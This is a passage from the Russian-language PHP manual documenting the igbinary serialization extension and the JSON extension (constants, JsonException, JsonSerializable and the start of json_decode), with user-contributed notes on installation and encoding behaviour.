There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/igbinary.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Igbinary
Имя | По умолчанию | Место изменения | Список изменений
igbinary.compact_strings | 1 | PHP_INI_ALL |
Параметры конфигурации сессии, влияющие на поведение Igbinary
Имя | По умолчанию | Место изменения | Список изменений
session.save_handler | "files" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

igbinary.compact_strings bool

Включение или отключение сжатия повторяющихся строк. По умолчанию On (включено).

session.save_handler string

Igbinary будет использоваться как обработчик сессии, если установить значение igbinary.

User Contributed Notes

There are no user contributed notes for this page.


Функции Igbinary

Содержание

  • igbinary_serialize — Создаёт компактное, сохраняемое двоичное представление значения
  • igbinary_unserialize — Создаёт значение PHP из сохранённого представления функцией igbinary_serialize

User Contributed Notes

There are no user contributed notes for this page.


Создаёт компактное, сохраняемое двоичное представление значения

  • « Функции Igbinary
  • igbinary_unserialize »
  • PHP Manual
  • Функции Igbinary
  • Создаёт компактное, сохраняемое двоичное представление значения

igbinary_serialize

(PECL igbinary >= 1.1.1)

igbinary_serialize — Создаёт компактное, сохраняемое двоичное представление значения

Описание

igbinary_serialize(mixed $value): string|false

Создаёт сохраняемое представление значения.

Полезно для хранения или передачи значений PHP без потери их типа и структуры.

Чтобы снова превратить сериализованную строку в значение PHP, можно использовать igbinary_unserialize().

Список параметров

value

Значение, которое необходимо сериализовать. igbinary_serialize() обрабатывает все типы, кроме ресурсов (resource) и некоторых объектов (object) (смотрите примечание ниже). Даже массивы (array), содержащие ссылки на себя, могут быть сериализованы функцией igbinary_serialize(). Циклические ссылки внутри сериализующихся массивов (array) или объектов (object) также будут сохранены. Любая другая ссылка будет потеряна.

При сериализации объектов, igbinary будет пытаться вызвать функции __serialize() или __sleep() перед сериализацией. Это позволит объекту выполнить любую очистку в последнюю минуту и т.д. перед сериализацией. Аналогичным образом, когда объект восстанавливается с помощью igbinary_unserialize(), вызывается функция __unserialize() или __wakeup().

Замечание:

Начало имён закрытых членов объекта (object) дополняются именем класса, а начало имён защищённых членов символом '*'. Эти дополненные значения окружаются нулевым байтом с обеих сторон.

Возвращаемые значения

Возвращает строку, содержащую представление потока байтов value, которое может быть сохранено где угодно.

Обратите внимание, что это двоичная строка, которая может включать в себя любое байтовое значение и должна храниться и обрабатываться как таковая. Например, вывод функции igbinary_serialize() обычно должен храниться в поле базы данных BLOB, а не в поле CHAR или TEXT.

Примеры

Пример #1 Пример использования igbinary_serialize()

<?php
$ser = igbinary_serialize(['test', 'test']);
echo urlencode($ser), "\n";
var_export(igbinary_unserialize($ser));
?>

Результат выполнения данного примера:

%00%00%00%02%14%02%06%00%11%04test%06%01%0E%00
array (
  0 => 'test',
  1 => 'test',
)

Примечания

Замечание:

Обратите внимание, что многие встроенные объекты PHP не могут быть сериализованы. Однако те, у кого есть такая возможность, реализуют либо интерфейс Serializable, либо магические методы __serialize()/__unserialize() или __sleep()/__wakeup(). Если внутренний класс не соответствует ни одному из этих требований, он не может быть надёжно сериализован с помощью какого-либо сериализатора.

Есть несколько исторических исключений из приведённого выше правила, когда некоторые внутренние объекты могут быть сериализованы без реализации интерфейса или раскрытия методов.

Смотрите также

  • serialize() - Генерирует пригодное для хранения представление переменной
  • igbinary_unserialize() - Создаёт значение PHP из сохранённого представления функцией igbinary_serialize
  • var_export() - Выводит или возвращает интерпретируемое строковое представление переменной
  • json_encode() - Возвращает JSON-представление данных
  • Сериализация объектов
  • __sleep()
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

There are no user contributed notes for this page.


Создаёт значение PHP из сохранённого представления функцией igbinary_serialize

  • « igbinary_serialize
  • JSON »
  • PHP Manual
  • Функции Igbinary
  • Создаёт значение PHP из сохранённого представления функцией igbinary_serialize

igbinary_unserialize

(PECL igbinary >= 1.1.1)

igbinary_unserialize — Создаёт значение PHP из сохранённого представления функцией igbinary_serialize()

Описание

igbinary_unserialize(string $str): mixed

igbinary_unserialize() берёт одну сериализованную переменную из igbinary_serialize() и преобразует её обратно в значение PHP.

Внимание

Ненадёжные пользовательские входные данные не должны передаваться в igbinary_unserialize(). Десериализация может привести к загрузке и выполнению кода из-за создания экземпляра объекта и автозагрузки, тогда злоумышленник может этим воспользоваться. Вместо этого следует использовать безопасный стандартный формат обмена данными, такой как JSON (с помощью функций json_decode() и json_encode()), если сериализованные данные необходимо передать клиенту.

Если есть необходимость десериализовать сохранённые извне сериализованные данные, для проверки данных можно использовать функцию hash_hmac(). Важно убедиться, что данные никто не подделал.

Внимание

Формат сериализации igbinary не позволяет различать разные ссылочные группы для одного и того же значения. Все ссылки PHP на заданное значение при десериализации обрабатываются как часть одной и той же группы ссылок, даже если при сериализации они были частями разных групп ссылок.

Список параметров

str

Сериализованная функцией igbinary_serialize() строка.

Если десериализуемое значение является объектом (object), после успешного восстановления объекта, igbinary автоматически попытается вызвать метод __unserialize() или __wakeup() (если таковой существует).

Замечание: unserialize_callback_func directive

Можно установить callback-функцию, которая будет вызываться, если во время десериализации должен быть создан экземпляр неопределённого класса (чтобы предотвратить получение неполного объекта (object) __PHP_Incomplete_Class). Для определения unserialize_callback_func могут использоваться файлы php.ini, ini_set() или .htaccess. Каждый раз, когда необходимо создать экземпляр неопределённого класса, callback-функция будет вызываться. Чтобы отключить эту функцию, параметр следует очистить.

Возвращаемые значения

Возвращается преобразованное значение, которое может быть bool, int, float, string, array, object или null.

Если переданная строка не может быть десериализована, возвращается false и выдаётся ошибка уровня E_NOTICE или E_WARNING.

Ошибки

Объекты могут выбрасывать исключение Throwable в своих обработчиках десериализации.

Примечания

Внимание

null или false возвращается как в случае возникновения ошибки, так и при десериализации сериализованного значения null или false. Этот особый случай можно определить, сравнивstr с igbinary_serialize(null) или igbinary_serialize(false) или обработав выданную ошибку уровня E_NOTICE.

Смотрите также

  • unserialize() - Создаёт PHP-значение из хранимого представления
  • json_encode() - Возвращает JSON-представление данных
  • json_decode() - Декодирует строку JSON
  • hash_hmac() - Генерация хеш-кода на основе ключа, используя метод HMAC
  • igbinary_serialize() - Создаёт компактное, сохраняемое двоичное представление значения
  • Автоматическая загрузка классов
  • unserialize_callback_func
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

There are no user contributed notes for this page.


JavaScript Object Notation

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • JsonException — Класс JsonException
  • JsonSerializable — Интерфейс JsonSerializable
    • JsonSerializable::jsonSerialize — Задаёт данные, которые должны быть сериализованы в JSON
  • Функции JSON
    • json_decode — Декодирует строку JSON
    • json_encode — Возвращает JSON-представление данных
    • json_last_error_msg — Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()
    • json_last_error — Возвращает последнюю ошибку
    • json_validate — Проверяет, содержит ли строка допустимый JSON

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль реализует работу с текстовым форматом обмена данными » JavaScript Object Notation (JSON) Обработка осуществляется парсером, написанным специально для PHP и под лицензией PHP.

Замечание:

PHP реализует надмножество JSON, который описан в первоначальном » RFC 7159.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль JSON по умолчанию входит в поставку PHP.

Начиная с PHP 8.0.0, модуль JSON является основным модулем PHP, поэтому оно всегда включён.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/json

User Contributed Notes

Anonymous 08-Apr-2020 07:32
even though the manual says the json extension is enabled by default and compiled into the core, I had to do a "yum install php-json" on centos 8 running php 7.2
YesCT 27-Jun-2014 07:44
on CentOS php 5.5.13 had to:
yum install php55u-pecl-jsonc php55u-pecl-jsonc-devel
ferenczy at NOSPAM dot volny dot cz 11-Dec-2013 03:46
On Ubuntu 13.10 you have to install this extension first (PHP 5.5.3):

   apt-get install php5-json

(Don't forget to restart web server.)
haebler at gmail dot com 22-Jan-2011 09:45
On RHEL5/CentOS5 add the EPEL repository (http://fedoraproject.org/wiki/EPEL).

After that, installation is as simple as:

    sudo yum install php-pecl-json
cko at audaxis dot com 19-Oct-2010 06:11
On gentoo, need the USE flag "json" to compile into php
dave at davidhbrown dot us 20-Jan-2009 04:24
On one server I use (FreeBSD 6.3; PHP 5.2.6 as module in Apache 2.2.10), PHP was compiled with the '--disable-all' configuration option. Consequently, there exists a secondary configuration file -- /usr/local/php5/etc/extensions.ini -- in which the line

; extension=json.so

must be uncommented (delete the semicolon) and Apache restarted for these functions to be available.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Следующие константы указывают на тип ошибки, возвращённой функцией json_last_error() или хранящейся, как code в JsonException.

JSON_ERROR_NONE (int)
Не произошло никаких ошибок.
JSON_ERROR_DEPTH (int)
Была превышена максимальная глубина стека.
JSON_ERROR_STATE_MISMATCH (int)
Неверный или повреждённый JSON.
JSON_ERROR_CTRL_CHAR (int)
Ошибка управляющих символов, вероятно, из-за неверного кодирования.
JSON_ERROR_SYNTAX (int)
Синтаксическая ошибка.
JSON_ERROR_UTF8 (int)
Повреждённые символы UTF-8, вероятно, из-за неверного кодирования.
JSON_ERROR_RECURSION (int)
Объект или массив, переданный в функцию json_encode() включает рекурсивные ссылки и не может быть закодирован. Если была передана опция JSON_PARTIAL_OUTPUT_ON_ERROR, то на месте рекурсивных ссылок будет выведен null.
JSON_ERROR_INF_OR_NAN (int)
Значение, переданное в функцию json_encode(), включает либо NAN, либо INF. Если была указана константа JSON_PARTIAL_OUTPUT_ON_ERROR, то вместо указанных особых значений будет выведен 0.
JSON_ERROR_UNSUPPORTED_TYPE (int)
В функцию json_encode() было передано значение неподдерживаемого типа, например, resource. Если была указана константа JSON_PARTIAL_OUTPUT_ON_ERROR, то вместо неподдерживаемого значения будет выводиться null.
JSON_ERROR_INVALID_PROPERTY_NAME (int)
В строке переданной в json_decode() был ключ, начинающийся с символа \u0000.
JSON_ERROR_UTF16 (int)
Один непарный суррогат UTF-16 в экранированной последовательности Unicode в строке JSON, переданной в json_decode().

Можно комбинировать следующие константы для передачи в json_decode().

JSON_BIGINT_AS_STRING (int)
Декодирует большие целые числа в качестве исходного значения строки.
JSON_OBJECT_AS_ARRAY (int)
Преобразует объекты JSON в массив PHP. Эта опция может быть задана автоматически, если вызвать json_decode() указав вторым параметром true.

Следующие константы можно комбинировать для использования в json_encode().

JSON_HEX_TAG (int)
Все < и > кодируются в \u003C и \u003E.
JSON_HEX_AMP (int)
Все & кодируются в \u0026.
JSON_HEX_APOS (int)
Все символы ' кодируются в \u0027.
JSON_HEX_QUOT (int)
Все символы " кодируются в \u0022.
JSON_FORCE_OBJECT (int)
Выдавать объект вместо массива при использовании неассоциативного массива. Это полезно, когда принимающая программа или код ожидают объект, а массив пуст.
JSON_NUMERIC_CHECK (int)
Кодирование строк, содержащих числа, как числа.
JSON_PRETTY_PRINT (int)
Использовать пробельные символы в возвращаемых данных для их форматирования.
JSON_UNESCAPED_SLASHES (int)
Не экранировать /.
JSON_UNESCAPED_UNICODE (int)
Не кодировать многобайтовые символы Unicode (по умолчанию они кодируются как \uXXXX).
JSON_PARTIAL_OUTPUT_ON_ERROR (int)
Позволяет избежать возникновения ошибок при использовании функции json_encode. Осуществляет подстановку значений по умолчанию вместо некодируемых.
JSON_PRESERVE_ZERO_FRACTION (int)
Гарантирует, что значение типа float будет преобразовано именно в значение типа float в случае, если дробная часть равна 0.
JSON_UNESCAPED_LINE_TERMINATORS (int)
Символы конца строки не будут экранироваться, если задана константа JSON_UNESCAPED_UNICODE. Поведение будет таким же, какое оно было до PHP 7.1 без этой константы. Доступно с PHP 7.1.0.

Следующие константы можно комбинировать для использования в json_decode() и json_encode().

JSON_INVALID_UTF8_IGNORE (int)
Игнорировать некорректные символы UTF-8. Доступно с PHP 7.2.0.
JSON_INVALID_UTF8_SUBSTITUTE (int)
Преобразовывать некорректные символы UTF-8 в \0xfffd (Символ Юникода 'REPLACEMENT CHARACTER') Доступно с PHP 7.2.0.
JSON_THROW_ON_ERROR (int)
Выбрасывается исключение JsonException в случае возникновения ошибок вместо установки глобального состояния ошибки, которое может быть получено с помощью функции json_last_error() и json_last_error_msg(). Константа JSON_PARTIAL_OUTPUT_ON_ERROR имеет приоритет над JSON_THROW_ON_ERROR. Доступно с PHP 7.3.0.

User Contributed Notes

nikospapoutsis 06-Aug-2022 10:47
Be EXTREMELY cautious when using the code majid4466 at gmail dot com provided, or JSON_NUMERIC_CHECK in general.

For example, in php 7.4 and 8.1 with precision: 14 and serialize_precision: -1 we get:

<?php
$array = ['€', 55.6666666666666666, 'http://example.com/some/cool/page', '000337', '55.6666666666666666'];
echo $case1 = json_encode($array);
echo $case2 = json_encode($array,  JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES );
echo $case3 = json_encode($array,  JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

["\u20ac",55.666666666666664,"http:\/\/example.com\/some\/cool\/page","000337","55.6666666666666666"]
// in $case1, both euro sign and the url change but we also lost a digit in our unquoted float (due to precision)

["€",55.666666666666664,"http://example.com/some/cool/page","000337","55.6666666666666666"]
// in $case2, both euro sign and the url stay exactly the same but we still lost a digit in our unquoted float (due to precision)

["€",55.666666666666664,"http://example.com/some/cool/page",337,55.666666666666664]
// in $case3, we once again keep euro sign and the url intact but this time not only our unquoted float lost a digit
// but the same happened to our quoted float and the number/string lost its leading zeros too

Also, note that in php 5.x you will probably get some different but equally wrong results as default values may be different and some functions have changed internally as well.
Anonymous 28-Sep-2018 08:52
flags JSON_NUMERIC_CHECK and JSON_PRESERVE_ZERO_FRACTION are broken in php 7+ — json_encode((float)8.8) returns "8.8000000000000007", and json_encode((float)8.8, JSON_NUMERIC_CHECK) and json_encode((float)8.8, JSON_PRESERVE_ZERO_FRACTION) return "8.8000000000000007" too.

the only way to fix this is setting "serialize_precision = -1" in php.ini
ASchmidt at Anamera dot net 20-May-2018 03:53
In a multi-level array, JSON_FORCE_OBJECT will encode ALL nested numeric arrays as objects.

If your concern was ONLY the first-level array (e.g., to make it suitable as a MySQL JSON column), you could just cast your first-level array to object, e.g.:

<?php
$json = json_encode( (object) $array, JSON_PRESERVE_ZERO_FRACTION+JSON_UNESCAPED_UNICODE );
?>

Or, if you have large arrays and are concerned about the overhead of object casting, you could append a "null" value beyond the size of the array, which will force the array to become associative:

<?php
$beyond = count( $array ) + 1;
if ( !array_key_exists( $beyond, $array) )
     $array[ $beyond ] = NULL;
$json = json_encode( $array, JSON_PRESERVE_ZERO_FRACTION+JSON_UNESCAPED_UNICODE );
?>

Of course, your later code has to treat an element with a "NULL" value the same as "!isset()", if it iterates the array.
majid4466 at gmail dot com 07-Jul-2016 05:57
To get a really clean json string use these three constants like so:

<?php
$array = ['€', 'http://example.com/some/cool/page', '337'];
$bad   = json_encode($array);
$good  = json_encode($array,  JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

// $bad would be  ["\u20ac","http:\/\/example.com\/some\/cool\/page","337"]
// $good would be ["€","http://example.com/some/cool/page",337]
?>
JuanP 24-Nov-2015 01:42
Updated format values list:

    JSON_HEX_TAG => 1
    JSON_HEX_AMP => 2
    JSON_HEX_APOS => 4
    JSON_HEX_QUOT => 8
    JSON_FORCE_OBJECT => 16
    JSON_NUMERIC_CHECK => 32
    JSON_UNESCAPED_SLASHES => 64
    JSON_PRETTY_PRINT => 128
    JSON_UNESCAPED_UNICODE => 256
    JSON_PARTIAL_OUTPUT_ON_ERROR => 512
    JSON_PRESERVE_ZERO_FRACTION => 1024
on5wis at mac dot com 24-Apr-2015 09:27
since json_encode expects a UTF-8 string there is no need to encode the € symbol.

I suggest you try to echo : json_encode('€');
It gives: "\u20ac"
I'm running PHP 5.6.5 on the CLI, on MacOS X 10.10
Yzmir Ramirez 23-Sep-2014 12:31
If you curious of the numeric values of the constants, as of JSON 1.2.1, the constants have the following values (not that you should use the numbers directly):

JSON_HEX_TAG => 1
JSON_HEX_AMP => 2
JSON_HEX_APOS => 4
JSON_HEX_QUOT => 8
JSON_FORCE_OBJECT => 16
JSON_NUMERIC_CHECK => 32
JSON_UNESCAPED_SLASHES => 64
JSON_PRETTY_PRINT => 128
JSON_UNESCAPED_UNICODE => 256

JSON_ERROR_DEPTH => 1
JSON_ERROR_STATE_MISMATCH => 2
JSON_ERROR_CTRL_CHAR => 3

JSON_ERROR_SYNTAX => 4

JSON_ERROR_UTF8 => 5
JSON_OBJECT_AS_ARRAY => 1

JSON_BIGINT_AS_STRING => 2


Класс JsonException

(PHP 7 >= 7.3.0, PHP 8)

Введение

Данное исключение выбрасывается, если опция JSON_THROW_ON_ERROR
установлена для функции json_encode() или
json_decode(). code содержит тип
ошибки, смотрите возможные значения json_last_error().

Обзор классов

class JsonException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс JsonSerializable

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

Объекты, реализующие интерфейс JsonSerializable, могут модифицировать своё JSON-представление при кодировании с помощью json_encode().

Обзор интерфейсов

interface JsonSerializable {
/* Методы */
public jsonSerialize(): mixed
}

Содержание

  • JsonSerializable::jsonSerialize — Задаёт данные, которые должны быть сериализованы в JSON

User Contributed Notes

There are no user contributed notes for this page.


Задаёт данные, которые должны быть сериализованы в JSON

  • « JsonSerializable
  • Функции JSON »
  • PHP Manual
  • JsonSerializable
  • Задаёт данные, которые должны быть сериализованы в JSON

JsonSerializable::jsonSerialize

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

JsonSerializable::jsonSerialize — Задаёт данные, которые должны быть сериализованы в JSON

Описание

public JsonSerializable::jsonSerialize(): mixed

Сериализует объект в значение, которое изначально может быть сериализовано функцией json_encode().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы json_encode(), которые являются значением любого типа, кроме resource.

Примеры

Пример #1 Пример использования JsonSerializable::jsonSerialize(), возвращающий массив (array)

<?php
class ArrayValue implements JsonSerializable {
private $array;
public function __construct(array $array) {
$this->array = $array;
}

public function jsonSerialize() {
return $this->array;
}
}

$array = [1, 2, 3];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

Результат выполнения данного примера:

[
    1,
    2,
    3
]

Пример #2 Пример использования JsonSerializable::jsonSerialize(), возвращающий ассоциативный массив (array)

<?php
class ArrayValue implements JsonSerializable {
private $array;
public function __construct(array $array) {
$this->array = $array;
}

public function jsonSerialize() {
return $this->array;
}
}

$array = ['foo' => 'bar', 'quux' => 'baz'];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

Результат выполнения данного примера:

{
    "foo": "bar",
    "quux": "baz"
}

Пример #3 Пример использования JsonSerializable::jsonSerialize(), возвращающий целое значение (int)

<?php
class IntegerValue implements JsonSerializable {
private $number;
public function __construct($number) {
$this->number = (int) $number;
}

public function jsonSerialize() {
return $this->number;
}
}

echo json_encode(new IntegerValue(1), JSON_PRETTY_PRINT);
?>

Результат выполнения данного примера:

1

Пример #4 Пример использования JsonSerializable::jsonSerialize(), возвращающий строку (string)

<?php
class StringValue implements JsonSerializable {
private $string;
public function __construct($string) {
$this->string = (string) $string;
}

public function jsonSerialize() {
return $this->string;
}
}

echo json_encode(new StringValue('Hello!'), JSON_PRETTY_PRINT);
?>

Результат выполнения данного примера:

"Hello!"

User Contributed Notes

c dot waltjen at posteo dot de 26-Mar-2021 09:57
Json Serializable did not analyze the result to serialize child properties.
We have to call them manually:
<?php

class A implements JsonSerializable
{
    private B $b;

    public function __construct(B $b) { $this->b = $b;}

    public function jsonSerialize(): array
    {
        return [ 'b' => $this->b->jsonSerialize()];
    }
}

class B
{
    private string $foo = '';

    public function __construct(string $foo) { $this->foo = $foo; }

    public function jsonSerialize(): array
    {
        return ['foo' => $this->foo];
    }
}

$a = new A(new B('Hallo Welt'));

var_dump(json_encode($a));
?>

results in:
string(26) "{"b":{"foo":"Hallo Welt"}}"
rmdundon at gmail dot com 28-Nov-2018 06:43
For those who are also lazy. You cannot just include $this and expect it to work.

For example, this won't work:

<?php
class SomeClass implements JsonSerializable {

   protected $partner;

   function setPartner(object $partner) {
       $this->partner;
   }

   public function jsonSerialize() {
        return $this;
    }
}

$foo = new SomeClass();
$too = new stdClass();
$too->test = 1;
$foo->setPartner = $too;

echo json_encode($foo); // Shows a blank object "{}"

?>

You have to define the things manually, so this will work.

<?php
class SomeClass implements JsonSerializable {

   protected $partner;

   function setPartner(object $partner) {
       $this->partner;
   }

   public function jsonSerialize() {
        $data['partner'] = $this->partner;
        return $data;
    }
}

$foo = new SomeClass();
$too = new stdClass();
$too->test = 1;
$foo->setPartner = $too;

echo json_encode($foo); // Shows {"partner":{"test":1}}
tomasz dot darmetko at gmail dot com 13-Jul-2017 03:03
Nested json serializable objects will be serialized recursively. No need to call ->jsonSerialize() on your own. It is especially useful in collections.

<?php

class NestedSerializable implements \JsonSerializable
{

    private $serializable;

    public function __construct($serializable)
    {
        $this->serializable = $serializable;
    }

    public function jsonSerialize()
    {
        return [
            'serialized' => $this->serializable
        ];
    }

}

class SerializableCollection implements \JsonSerializable {

    private $elements;

    public function __construct(array $elements)
    {
        $this->elements = $elements;
    }

    public function jsonSerialize()
    {
        return $this->elements;
    }

}

// Outputs: [{"serialized":null},{"serialized":null},{"serialized":{"serialized":null}}]
echo json_encode(
    new SerializableCollection([
        new NestedSerializable(null),
        new NestedSerializable(null),
        new NestedSerializable(new NestedSerializable(null))
    ])
);

?>
info at digistratum dot com 26-Jan-2017 07:18
Here's a small test/proof that makes it easy to see some comparative results. Null was the one I was interested in since it was not documented:

<?php
class jsontest implements JsonSerializable {
        function __construct($value) { $this->value = $value; }
        function jsonSerialize() { return $this->value; }
}

print "Null -> " . json_encode(new jsontest(null)) . "\n";
print "Array -> " . json_encode(new jsontest(Array(1,2,3))) . "\n";
print "Assoc. -> " . json_encode(new jsontest(Array('a'=>1,'b'=>3,'c'=>4))) . "\n";
print "Int -> " . json_encode(new jsontest(5)) . "\n";
print "String -> " . json_encode(new jsontest('Hello, World!')) . "\n";
print "Object -> " . json_encode(new jsontest((object) Array('a'=>1,'b'=>3,'c'=>4))) . "\n";
?>

Output is:
Null -> null
Array -> [1,2,3]
Assoc. -> {"a":1,"b":3,"c":4}
Int -> 5
String -> "Hello, World!"
Object -> {"a":1,"b":3,"c":4}
david at vanlaatum dot id dot au 02-Apr-2015 02:57
simonsimcity at gmail dot com is wrong, you can throw exceptions in this but it will wrap with another exception so his example outputs

 PHP Fatal error:  Uncaught exception 'RuntimeException' with message 'It failed!' in -:8
 Stack trace:
 #0 [internal function]: Foo->jsonSerialize()
 #1 -(16): json_encode(Object(Foo))
 #2 {main}

 Next exception 'Exception' with message 'Failed calling Foo::jsonSerialize()' in -:16
 Stack trace:
 #0 -(0): json_encode()
 #1 {main}
   thrown in - on line 16

PHP 5.4.39
Anonymous 23-Jan-2015 06:34
Serialize private attributes to JSON in PHP 5.3

<?php

abstract class Model {

    public function jsonSerialize() {
        $getter_names = get_class_methods(get_class($this));
        $gettable_attributes = array();
        foreach ($getter_names as $key => $value) {
            if(substr($value, 0, 4) === 'get_') {
                $gettable_attributes[substr($value, 4, strlen($value))] = $this->$value();
            }
        }
        return $gettable_attributes;
    }

}

class Content extends Model {

    private $title;
    private $text;

    public function get_title() {
        return $this->title;
    }

    public function set_title($title) {
        $this->title = $title;
    }

    public function get_text() {
        return $this->text;
    }

    public function set_text($text) {
        $this->text = $text;
    }

}

$content = new Content();
$content->set_title('lol');
$content->set_text('haha');

echo json_encode($content->jsonSerialize());
?>
dimstefan83 at gmail dot com 20-Jun-2014 08:34
simple functions to make life easier.
I wanted a way to have a as property value the return value of a method in order to have it initialized. example

class portItem implements JsonSerializable{
    private $idPort;
    private $location;
    private $portLanguages;

    public function getLocation() {
        if(!isset($this->location)){
            return new locationItem();
        }
        return $this->location;
    }

    public function setLocation($location) {
        $this->location = $location;
    }

      public function setidPort($idPort){
        $this->idPort=$idPort;
    }

    public function getidPort(){
        if(!isset($this->idPort)){
            return 0;
        }
        return intval($this->idPort);
    }
    public function setPortLanguages($portLanguages){
        $this->portLanguages=$portLanguages;
    }

    public function getPortLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getCategoryLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }

    public function setPortLanguageAtIndex($index,$language){
        $this->portLanguages[$index]=$language;
    }

        public function jsonSerialize() {
        $dataConverter = new dataConverter();
        return $dataConverter->convertToJson($this);
    }

}

Wit 2 ways you can automatically convert for json.
1.by reading properties
public function convertToJson($object){
        /*approch by using object properties*/
        $class = get_class($this);
        $json = array();
        $properties = get_class_vars($class);
        $keys = array_keys($properties);
        $plength = count($keys);
        for($i=0;$i<$plength;$i++){
            $method =  "get".$keys[$i];
            if(method_exists ($this,$method)){
                $json[$keys[$i]] = $this->$method();
            }
        }
return $json;
}

public function convertToJson($object){
/*approch by using object methods*/
        $class = get_class($object);
        $json = array();
        $methods = get_class_methods($class);
        $plength = count($methods);
        $json = array();
        for($i=0;$i<$plength;$i++){
            if(stripos($methods[$i], "get")!==FALSE){
                $property = mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                $setter = "set".mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                if(method_exists($object,$setter)){
                    $json[$property] = $object->$methods[$i]();
                }

            }
        }

        return $json;
    }

By using this method the result will be a json with value for properties initialized according to each method.

Things to note
1.if you are using the reading properties approach the code cant' work outside of the class for private properties, because they are nto visible, you have to put it the code directly to public function jsonSerialize() {} in order to work.
2.For both approaches has method seems not to be case sensitive else you are going to have problems, i strongly suggest to pay attention in naming convention between property names and method names idPort =>setIdPort() =>getIdPort() (i know my class is done not that way).
3.both approaches since you call method without knowing the arguments you need to pay attention in arguments for getter methods where applicable, check my example
public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }
that's why i have set it to optional argument. If you don't do that php will complain about missing argument parameter in method XXX.
simonsimcity at gmail dot com 22-Mar-2014 11:05
You can't throw exceptions in here. If you do, you'll get an exception with the message "Failed calling FooClass::jsonSerialize()" and the stacktrace will start at where you called the json_encode() method.

Here's a code-example:

class Foo implements JsonSerializable {
    private $triggerError = true;

    public function jsonSerialize()
    {
        if ($this->triggerError) {
            throw new RuntimeException("It failed!");
        }

        return (array)$this;
    }
}

// Will throw an exception like new Exception("Failed calling Foo::jsonSerialize()")
json_encode(new Foo());
benkuhl at gmail dot com 31-Jan-2013 04:17
A good example on when you would use functionality like this is when working with objects.

json_encode() will take a DateTime and convert it to:

{
    "date":"2013-01-31 11:14:05",
    "timezone_type":3,
    "timezone":"America\/Los_Angeles"
}

This is great when working with PHP, but if the Date is being read by Java.  The Java date parser doesn't know what to do with that.  But it does know what to do with the ISO8601 format...

<?php

date_default_timezone_set('America/Los_Angeles');

class Fruit implements JsonSerializable {
    public
        $type = 'Apple',
        $lastEaten = null;

    public function __construct() {
        $this->lastEaten = new DateTime();
    }

    public function jsonSerialize() {
        return [
            'type' => $this->type,
            'lastEaten' => $this->lastEaten->format(DateTime::ISO8601)
        ];
    }
}
echo json_encode(new Fruit()); //which outputs: {"type":"Apple","lastEaten":"2013-01-31T11:17:07-0500"}

?>


Функции JSON

Содержание

  • json_decode — Декодирует строку JSON
  • json_encode — Возвращает JSON-представление данных
  • json_last_error_msg — Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()
  • json_last_error — Возвращает последнюю ошибку
  • json_validate — Проверяет, содержит ли строка допустимый JSON

User Contributed Notes

There are no user contributed notes for this page.


Декодирует строку JSON

  • « Функции JSON
  • json_encode »
  • PHP Manual
  • Функции JSON
  • Декодирует строку JSON

json_decode

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL json >= 1.2.0)

json_decode — Декодирует строку JSON

Описание

json_decode(
string $json,
?bool $associative = null,
int $depth = 512,
int $flags = 0
): mixed

Принимает закодированную в JSON строку и преобразует её в PHP-значение.

Список параметров

json

Строка (string) json для декодирования.

Функция работает только со строками в кодировке UTF-8.

Замечание:

PHP реализует надмножество JSON, который описан в первоначальном » RFC 7159.

associative

